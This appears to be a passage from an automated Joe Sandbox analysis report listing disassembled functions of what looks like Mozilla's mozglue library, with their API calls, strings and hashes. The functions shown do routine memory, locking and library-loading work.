Function 6C806590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C7FFA80: GetCurrentThreadId.KERNEL32 ref: 6C7FFA8D
Part of subcall function 6C7FFA80: AcquireSRWLockExclusive.KERNEL32(6C84F448), ref: 6C7FFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C806727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C8067C8

Part of subcall function 6C814290: memcpy.VCRUNTIME140(?,?,6C822003,6C820AD9,?,6C820AD9,00000000,?,6C820AD9,?,00000004,?,6C821A62,?,6C822003,?), ref: 6C8142C4

Strings

data, xrefs: 6C806593

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: c6317e1d5c645eb687cc00bcdc15968ccd556b15077cfe6184695aca66a65a30
Instruction ID: 5fefffcfadd306c5fcda15b5b8544f3add62991e98904091597ee7d3acedb361
Opcode Fuzzy Hash: c6317e1d5c645eb687cc00bcdc15968ccd556b15077cfe6184695aca66a65a30
Instruction Fuzzy Hash: BAD19F75A083408FD734DF28CA55B9BB7E5AFC5308F108D2DE58987B51DB30A989CB92

Function 6C81C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C81C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C81C842

Part of subcall function 6C81CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C83B5EB,00000000), ref: 6C81CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C81C863
std::_Facet_Register.LIBCPMT ref: 6C81C875

Part of subcall function 6C7FB13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C83B636,?), ref: 6C7FB143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C81C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C81C8BC

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 742eb851c8075aaa5911728a22de8d1be74d86cfe6d75582e005d8417a988337
Instruction ID: 1f79d7c707165f6f5c1329dd067e91af4d83a207abb7c261af8afa359ec53118
Opcode Fuzzy Hash: 742eb851c8075aaa5911728a22de8d1be74d86cfe6d75582e005d8417a988337
Instruction Fuzzy Hash: 43118171B002099BCB10EFA4C9C89AEBBB4EF8935DB004579E51697741EB309909CBD1

Function 6C7FF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C7FF480

Part of subcall function 6C7CF100: LoadLibraryW.KERNEL32(shell32,?,6C83D020), ref: 6C7CF122
Part of subcall function 6C7CF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C7CF132

CloseHandle.KERNEL32(00000000), ref: 6C7FF555

Part of subcall function 6C7D14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C7D1248,6C7D1248,?), ref: 6C7D14C9
Part of subcall function 6C7D14B0: memcpy.VCRUNTIME140(?,6C7D1248,00000000,?,6C7D1248,?), ref: 6C7D14EF

Part of subcall function 6C7CEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C7CEEE3

CreateFileW.KERNEL32 ref: 6C7FF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C7FF523

Strings

\oleacc.dll, xrefs: 6C7FF4CB

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 0719415814b2d8c09fbb300cf4784ac5b5a9e6666331c75110d13f5b12fb6888
Instruction ID: 1255caa0934bb00b521759dd905b723e6d2c67f43db56a06e33d9497352b13d2
Opcode Fuzzy Hash: 0719415814b2d8c09fbb300cf4784ac5b5a9e6666331c75110d13f5b12fb6888
Instruction Fuzzy Hash: BA41B6706187109FE721DF68CA84B9BB7F4AF84318F104A2CF5A483750EB74D94ACB92

Function 6C8274A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C827526
__Init_thread_footer.LIBCMT ref: 6C827566
__Init_thread_footer.LIBCMT ref: 6C827597

Strings

kernel32.dll, xrefs: 6C827557
UnmapViewOfFile2, xrefs: 6C827552

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 31b7ea7cfc08da53a4066f50b5018c5e03900bbb98041b516c9ecf828469cf16
Instruction ID: 7d7440eee6030635699b49be17c3f9c210bb4555c3914dac2130c7003f90ea35
Opcode Fuzzy Hash: 31b7ea7cfc08da53a4066f50b5018c5e03900bbb98041b516c9ecf828469cf16
Instruction Fuzzy Hash: B021E031B00541A7CB349BAACB5CE5B73A5AB8732DF01893DD80147B40C72CA882C6D1

Function 6C82A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C84F770,-00000001,?,6C83E330,?,6C7EBDF7), ref: 6C82A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C7EBDF7), ref: 6C82A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C7EBDF7), ref: 6C82A7E4
LeaveCriticalSection.KERNEL32(6C84F770), ref: 6C82A80A

Strings

accelerator.dll, xrefs: 6C82A7BF

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: e2be919635e4ece51a674356a1a92812b605c771ddeeb0ea3379beae3f6ce67d
Instruction ID: 113396b056b8ba1d31e1554bb1f96b4afda84937ba244d291369d38fe038795d
Opcode Fuzzy Hash: e2be919635e4ece51a674356a1a92812b605c771ddeeb0ea3379beae3f6ce67d
Instruction Fuzzy Hash: B40171716002549F9B14DF95D588C657BF4FF9A329705C47AE9498B701DB74A800CBE0

Function 6C800080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C7D7204), ref: 6C800088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6C8000A7
FreeLibrary.KERNEL32(?,6C7D7204), ref: 6C8000BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6C8000A1
wintrust.dll, xrefs: 6C800083

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: ddbeb8ac825dbe86649a7a773f3102901141d24345ea7e7d2f448ff258967e81
Instruction ID: b0b2ecc50d52869e1c4679fa024f26dc6c65963510b9ce1d4a457277b6d3cd00
Opcode Fuzzy Hash: ddbeb8ac825dbe86649a7a773f3102901141d24345ea7e7d2f448ff258967e81
Instruction Fuzzy Hash: 0EE0EE702007189AEB30BF668E08B157AF8A76B34DF50C83AA920C6A00DBB5D000DFA1

Function 6C8000D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C7D7235), ref: 6C8000D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6C8000F7
FreeLibrary.KERNEL32(?,6C7D7235), ref: 6C80010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6C8000F1
wintrust.dll, xrefs: 6C8000D3

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 9bc8efb9c788666df2f69739e64339a0e35a0df1b528d13b7646638ccd19417b
Instruction ID: 36847c453096ab50f3144cedfa1f8470e0a772db882a928ff794784d4ddee492
Opcode Fuzzy Hash: 9bc8efb9c788666df2f69739e64339a0e35a0df1b528d13b7646638ccd19417b
Instruction Fuzzy Hash: 04E01A703057199BEF30BF258A09F267AF8A75220DF60C839A90985700DBB09010CA90

Function 6C8275B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C82748B,?), ref: 6C8275B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C8275D7
FreeLibrary.KERNEL32(?,6C82748B,?), ref: 6C8275EC

Strings

ntdll.dll, xrefs: 6C8275B3
RtlNtStatusToDosError, xrefs: 6C8275D1

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: b290237b35bb1067fdc73aa065216e8ec03fe823c6320c48f0bb57269cadd250
Instruction ID: eb0b7c22351f763fc1074e696024b8382647128fa616e9cbebd4f7f000abbcb6
Opcode Fuzzy Hash: b290237b35bb1067fdc73aa065216e8ec03fe823c6320c48f0bb57269cadd250
Instruction Fuzzy Hash: 1DE01A70204345ABDB307FA2CA48B157EF8E79321CF00C43AA900C1640DB7C9051CF80

Function 6C827600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C827592), ref: 6C827608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C827627
FreeLibrary.KERNEL32(?,6C827592), ref: 6C82763C

Strings

ntdll.dll, xrefs: 6C827603
NtUnmapViewOfSection, xrefs: 6C827621

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: abb12fc5293a55f87a857cca371f3b685d3ab1b9f79353b41518600dd879981e
Instruction ID: 8d5496dcf43589a5ed99441a26da0a17d15c51050d05be8bd7fa8f6d06cc4351
Opcode Fuzzy Hash: abb12fc5293a55f87a857cca371f3b685d3ab1b9f79353b41518600dd879981e
Instruction Fuzzy Hash: 45E092B4605785ABDF307FA6C908B167EB9E7AB25DF01C93AE905D2701E7B89400CBD4

Function 6C82BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C82BE49), ref: 6C82BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C82BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C82BE49), ref: 6C82BF38
RtlReAllocateHeap.NTDLL ref: 6C82BF83
RtlFreeHeap.NTDLL(6C82BE49,00000000), ref: 6C82BFA6

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: dbdb3bc72d0fb0736976fc98bd30641a89e883528c3ed41ad4c9b7070644631f
Instruction ID: f78b7617ea2c0525e3ce7a94667af75cbc997d08ddd0cff9f4c6ebc8230d3830
Opcode Fuzzy Hash: dbdb3bc72d0fb0736976fc98bd30641a89e883528c3ed41ad4c9b7070644631f
Instruction Fuzzy Hash: 8F518571A002158FE730CF68CA84B6AB3A2FF88314F294A39D516A7B55D734F9468BC0

Function 6C818E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C80B58D,?,?,?,?,?,?,?,6C83D734,?,?,?,6C83D734), ref: 6C818E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C80B58D,?,?,?,?,?,?,?,6C83D734,?,?,?,6C83D734), ref: 6C818EBF
free.MOZGLUE(?,?,?,?,6C80B58D,?,?,?,?,?,?,?,6C83D734,?,?,?), ref: 6C818F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C80B58D,?,?,?,?,?,?,?,6C83D734,?,?,?,6C83D734), ref: 6C818F46
free.MOZGLUE(?,?,?,?,6C80B58D,?,?,?,?,?,?,?,6C83D734,?,?,?), ref: 6C818F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C80B58D,?,?,?,?,?,?,?,6C83D734,?,?,?), ref: 6C818F8F

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 803f3cf935378d96d07e29fa83029407ba0cf132b4afb0b16bdf97dd1c8682e7
Instruction ID: 1898d5e2cc14566a8d408ac1869c5c539291945cd02d632defe1e916d875094a
Opcode Fuzzy Hash: 803f3cf935378d96d07e29fa83029407ba0cf132b4afb0b16bdf97dd1c8682e7
Instruction Fuzzy Hash: FD51B5B1A052168FEB24CF54D98176E73F6FF49318F26092AD916ABB40E731F904CB91

Function 6C7D60E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C7D5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7D60F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6C7D5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7D6180
free.MOZGLUE(?,?,?,?,6C7D5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C7D6211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C7D5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7D6229
free.MOZGLUE(?,?,?,?,6C7D5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C7D625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C7D5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C7D6271

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 2ff17723a726767dffbf4a16c49269c4cf168d1e623df54d844760772d34bb49
Instruction ID: 7cba2a7d44ec2f8760bb3685e4d140c83f09f44ee636199623b997566c482abc
Opcode Fuzzy Hash: 2ff17723a726767dffbf4a16c49269c4cf168d1e623df54d844760772d34bb49
Instruction Fuzzy Hash: 3B519FB1A002068FEB14CF68D9847AEB7B5EF45348F164839C617D7712E732B658CB61

Function 6C8127E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C812620,?,?,?,6C8060AA,6C805FCB,6C8079A3), ref: 6C81284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C812620,?,?,?,6C8060AA,6C805FCB,6C8079A3), ref: 6C81289A
free.MOZGLUE(?,?,?,6C812620,?,?,?,6C8060AA,6C805FCB,6C8079A3), ref: 6C8128F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C812620,?,?,?,6C8060AA,6C805FCB,6C8079A3), ref: 6C812910
free.MOZGLUE(00000001,?,?,6C812620,?,?,?,6C8060AA,6C805FCB,6C8079A3), ref: 6C81293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C812620,?,?,?,6C8060AA,6C805FCB,6C8079A3), ref: 6C81294E

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 8b6807083c2d4f78aca3ec433d28fe1feb70b97e743f605fa2b325f177a82550
Instruction ID: 090ca03c5c608a1c7baf84ac0ff665d4e4f08a4d28d42ef1db2fe2e26207ddac
Opcode Fuzzy Hash: 8b6807083c2d4f78aca3ec433d28fe1feb70b97e743f605fa2b325f177a82550
Instruction Fuzzy Hash: 5E41A1B1A042168BEB24CF68D988B6A73F6EB46308F144939D556EBB40E735F904CB91

Function 6C7CCFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C84E784), ref: 6C7CCFF6
LeaveCriticalSection.KERNEL32(6C84E784), ref: 6C7CD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C7CD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C7CD139

Strings

MOZ_CRASH(), xrefs: 6C7CD187

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: e0dd337569ef202451f8879c0ebc6cd31b78615c3055fc1542c491694246ba41
Instruction ID: 41f89fe1ccf4a3d3c00cfac46f1578ff1697b5923be884ffb942b33abcdc1763
Opcode Fuzzy Hash: e0dd337569ef202451f8879c0ebc6cd31b78615c3055fc1542c491694246ba41
Instruction Fuzzy Hash: 8B41E171B803164FDB24DE7C8E9436AB6B0EB5A36CF154139E918E7784E7A19C01CBC6

Function 6C7C4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C7C4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C7C4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7C4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C7C4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C7C4F1E

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 6a905ca037f14c3d98bdc253c7b0a141dc14729edac3321339344edebf37e304
Instruction ID: faa101e98faf2ab4eb0a39787daba9f96104c0215bedb7a17bfece27b4db4377
Opcode Fuzzy Hash: 6a905ca037f14c3d98bdc253c7b0a141dc14729edac3321339344edebf37e304
Instruction Fuzzy Hash: 5541D1716047069FC701CF28C98096BBBF8BF89344F148A2DF46597741D730E954DB92

Function 6C7D1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C7D152B,?,?,?,?,6C7D1248,?), ref: 6C7D159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C7D152B,?,?,?,?,6C7D1248,?), ref: 6C7D15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C7D152B,?,?,?,?,6C7D1248,?), ref: 6C7D15E7
free.MOZGLUE(?,?,?,?,?,?,6C7D152B,?,?,?,?,6C7D1248,?), ref: 6C7D1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C7D152B,?,?,?,?,6C7D1248,?), ref: 6C7D1637

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

